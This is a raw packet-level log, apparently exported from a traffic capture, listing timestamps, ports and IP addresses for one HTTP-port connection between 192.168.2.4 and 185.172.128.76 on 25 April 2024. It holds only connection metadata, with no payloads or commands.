Apr 25, 2024 14:42:04.011990070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012027979 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012037992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012069941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012072086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012115002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012130022 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012166977 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012177944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012204885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012217045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012243986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012257099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012280941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012281895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012317896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012324095 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012356043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012367964 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012393951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012402058 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012432098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012438059 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012470007 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012473106 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012511969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012542009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012579918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012593031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012619019 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012624025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012656927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012660027 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012693882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012701988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012731075 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012737036 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012768984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012773991 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012808084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012811899 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012845993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012845993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012883902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012892962 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012926102 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.012933016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012974977 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.012998104 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.013048887 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.217545986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.217587948 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.217609882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.217636108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.217658043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.217681885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.217684984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.217705965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.217717886 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.217731953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.217741966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.217756987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.217768908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.217782021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.217798948 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.217808962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.217830896 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.217832088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.217844963 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.217855930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.217874050 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.217880011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.217897892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.217904091 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.217921972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.217931032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.217952967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.217983007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.218765020 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.218789101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.218822002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.218853951 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.219335079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.219358921 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.219382048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.219388962 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.219405890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.219405890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.219429016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.219432116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.219454050 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.219456911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.219479084 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.219510078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.219525099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.219568968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.219573975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.219615936 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.219690084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.219712973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.219741106 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.219757080 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.219852924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.219902992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.219906092 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.219928026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.219949961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.219954014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.219970942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.219993114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.220144033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.220168114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.220197916 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.220210075 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.220371008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.220395088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.220418930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.220426083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.220443010 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.220444918 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.220460892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.220468044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.220483065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.220490932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.220513105 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.220515013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.220535994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.220562935 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.220588923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.220626116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.220640898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.220650911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.220674038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.220674992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.220695972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.220716953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.220762968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.220786095 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.220808983 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.220813990 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.220832109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.220833063 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.220853090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.220875025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221028090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221050024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221072912 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221079111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221097946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221117020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221117020 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221142054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221163988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221164942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221183062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221204996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221246004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221268892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221292019 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221293926 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221303940 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221338034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221358061 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221407890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221489906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221539974 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221570015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221595049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221617937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221622944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221642017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221643925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221657991 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221664906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221678972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221709967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221714973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221734047 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221760988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221776962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221780062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221801043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221826077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221844912 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221849918 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221868992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221894979 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221915960 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.221918106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.221997976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.222019911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.222027063 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.222038031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.222063065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.222070932 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.222120047 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.222136974 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.222274065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.222289085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.222313881 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.222341061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.222362041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.222402096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.222425938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.222459078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.222476959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.424334049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.424391031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.424431086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.424468040 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.424515963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.424515009 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.424563885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.424587011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.424587011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.424602032 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.424607992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.424609900 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.424647093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.424673080 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.424685955 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.424690008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.424726009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.424763918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.424783945 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.424803019 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.424810886 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.424840927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.424863100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.424906969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.424926043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.424947023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.424978018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.424983978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.424998999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425023079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425040007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425060034 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425096035 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425100088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425106049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425139904 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425153971 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425179005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425204039 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425221920 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425226927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425271034 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425273895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425312996 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425326109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425355911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425365925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425395966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425410032 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425434113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425447941 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425471067 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425483942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425509930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425527096 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425546885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425558090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425587893 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425596952 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425636053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425637960 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425683975 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425693989 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425723076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425734997 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425762892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425776958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425802946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425812960 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425842047 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425873041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425879955 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425888062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425920963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.425928116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.425961971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426000118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426018953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426038027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426047087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426047087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426079988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426093102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426119089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426131010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426157951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426177979 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426196098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426207066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426234961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426245928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426271915 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426285028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426317930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426321030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426363945 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426364899 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426403046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426413059 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426440954 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426450968 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426477909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426491976 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426518917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426527977 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426557064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426568985 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426594973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426605940 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426632881 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426645041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426671982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426685095 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426713943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426718950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426769972 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426773071 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426810026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426821947 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426850080 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426860094 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426889896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426903009 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426928997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426963091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.426966906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.426979065 CEST	49731	80	192.168.2.4	185.172.128.76
